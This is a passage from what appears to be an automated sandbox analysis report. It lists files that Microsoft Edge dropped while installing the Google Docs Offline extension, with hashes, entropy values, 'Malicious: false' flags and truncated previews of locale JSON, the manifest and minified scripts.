SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\cad5c7ee-5722-4f96-be92-c51958e1d0f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8128_533996232\55062f1e-3deb-4091-8792-6f43f2d3d307.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8128_533996232\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": 